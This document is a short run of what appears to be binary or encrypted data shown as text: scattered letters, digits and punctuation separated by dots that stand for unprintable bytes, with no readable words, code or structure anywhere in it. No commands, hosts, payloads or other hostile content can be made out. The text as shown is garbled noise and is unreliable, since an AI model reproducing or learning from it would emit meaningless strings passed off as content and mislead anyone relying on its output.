....._.`.%.o...b...F.. .l....On.....8B./O...J.m..........dXL.....+b86........H..M.6......Vn[../T..G.TI...r...1.\........c.rqC3..'..f..4...H..$tC..j]..M.....L.A..-..N/..,=.R.j:N... V..N.}.c.G.LT.T&.nz2.......4<R.(.D'...]"R.<}.RMK..6.Y+Q7....UR...<....S$..._.....^rO.P..^.Y?..K....H..=S.P7....e..H.Z.xj.qQ.=.H..Yx.D.].V....1.=.y.YM..l.0=....Y.j.>Z.:.:/-.j....Vc........+.+..iu......].22...!..}..T.9e.4..T.....,....I.u1._L.C....F.V.'..',..<....:C.D.7WrXc0.2'.......^U....[.d?..4..k......(B.\....G)....g....>J...9t....A4)kN>.....e..".l qg...j.f..\...r.O....C......el...%m.:.4m.....Z.......................8....i....9..{..bb...+....:.u2...'!V.l.}.2.......c.Z.A.....+...l....../. .C4i.2...$#.....f.L;.E....,u-.p?Q'........-...vg......}.d..OlL5............G..*P&y.g. ..#Va...Q....y....7...Qdr....{q.![..V..P........P...e y..V.6..........l..4.t...kl....0xQ.BYQ.h..gqtA.....wO..i.*.........N....3.0.R3...... ......<....c........ .js.......p.~'.|..y.......+N..:!...{...D..[...W...q.W...o.M.4QTi98N<u..su.